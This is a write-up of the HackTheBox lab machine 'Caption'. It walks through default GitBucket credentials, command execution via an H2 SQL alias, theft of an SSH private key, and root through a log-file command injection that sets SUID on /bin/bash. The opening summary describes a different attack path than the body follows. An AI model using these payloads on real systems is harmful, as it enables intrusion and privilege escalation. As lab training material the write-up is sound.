# Caption HackTheBox Writeup

> Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal (\[CVE-2023-37474\]([https://security.snyk.io/vuln/SNYK-PYTHON-COPYPARTY-5777718](https://security.snyk.io/vuln/SNYK-PYTHON-COPYPARTY-5777718))). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root.

### **Machine Info:**

> ***IP:*** `10.10.11.33`  
> **Difficulty**: Hard  
> **OS**: Linux  
> **Category**:

## Enumeration

### *Nmap Scan*

```jsx
Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.76s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
```

The initial enumeration of *caption.htb* reveals three open ports:

* *22/tcp* - SSH
    
* *80/tcp* - HTTP (Caption Portal Login)
    
* *8080/tcp* - GitBucket (Web App)
    

Navigating to `http://caption.htb:8080` displays the GitBucket login interface.

### *GitBucket Exploit*

* *Credentials*: root:root (Defailt creds for gitbucket)
    

Once logged in, you find a commit disclosing a password for the user "margo":

* *User*: `margo`
    
* *Password*: `vFr&cS2#0!`
    

You also discover an *H2 database* viewer at:

* [http://caption.htb:8080/admin/dbviewer](http://caption.htb:8080/admin/dbviewer)
    

## Command Execution via H2 Database

H2 allows defining custom Java methods via SQL aliases. A remote command execution alias is created

```sql
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : "";
}
$$;
```

Executing commands:

```sql
CALL SHELLEXEC('id');
```

Returns:

```bash
uid=1000(margo) gid=1000(margo) groups=1000(margo)
```

We can also dump the *SSH private key* of the user "margo":

```sql
CALL SHELLEXEC('cat /home/margo/.ssh/id_ecdsa');
```

### *SSH Access*

Extract the private key, save it, and adjust permissions:

```bash
cat <<EOF > id_ecdsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQSANe5kEY+DN1xSvPtTZVur+DWGq94h1gSFMvzv5iec
YwuC7ymT7QWZM+42IIVZQ5GqkIE5uLHyqtVKytQu5aCLAAAAoACUCKoAlAiqAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIA17mQRj4M3XFK8+1NlW6v4NYar3iHWBIUy/O/m
J5xjC4LvKZPtBZkz7jYghVlDkaqQgTm4sfKq1UrK1C7loIsAAAAhAOZNLY0cYdeM6shGDro9tude
7oBNK+hIIh0AmL8JK+ShAAAAAAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
EOF
```

Save and chmod the key locally:

```powershell
chmod 600 id_ecdsa
ssh -i id_ecdsa margo@caption.htb
```

## Internal Enumeration & Port Forwarding

To enumerate internal services, set up port forwarding to access internal services:

```bash
ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb
```

This reveals a Thrift-based service running locally.

## Privilege Escalation: Log Parser Exploitation

To escalate privileges, we can exploit log parsing to run a payload.

*Step 1: Create Malicious Log File*

```bash
echo '127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #' > /tmp/malicious.log
```

*Step 2: Create Payload Script*

```bash
echo 'chmod +s /bin/bash' > /tmp/payload.sh
```

```bash
pip download thrift
```

```bash
scp -i /home/kratos/HTB/Caption/id_ecdsa thrift-*.tar.gz margo@caption.htb:/tmp
thrift-0.20.0.tar.gz
```

### *Thrift Client Setup*

Create a *Thrift* file log\_service.thrift:

```python
thrift
namespace go log_service

service LogService {
string ReadLogFile(1: string filePath)
}
```

Generate the Thrift client:

```bash
thrift -r --gen py log_service.thrift
```

Create a Python client [client.py](http://client.py/):

```python
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = LogService.Client(protocol)
    transport.open()

    try:
        log_file_path = "/tmp/malicious.log"
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")
    transport.close()

if __name__ == '__main__':
    main()
```

Install Thrift and run the client:

```bash
pip3 install thrift
python3 [client.py](<http://client.py/>)
```

*Output:*

`Server response: Log file processed`

### *Privilege Escalation*

After the malicious payload runs, verify the SUID bit on /bin/bash:

```bash
ls -l /bin/bash
/bin/bash -p
whoami
```

You are now root.

## Conclusion

The Caption box illustrates how default credentials, exposed development tools, and improper log parsing can lead to full system compromise. It starts with accessing GitBucket using factory credentials, leading to remote code execution via the H2 console. With a foothold as `margo`, the attacker leverages an insecure Thrift service to escalate privileges by crafting a malicious log file that executes commands with elevated permissions.
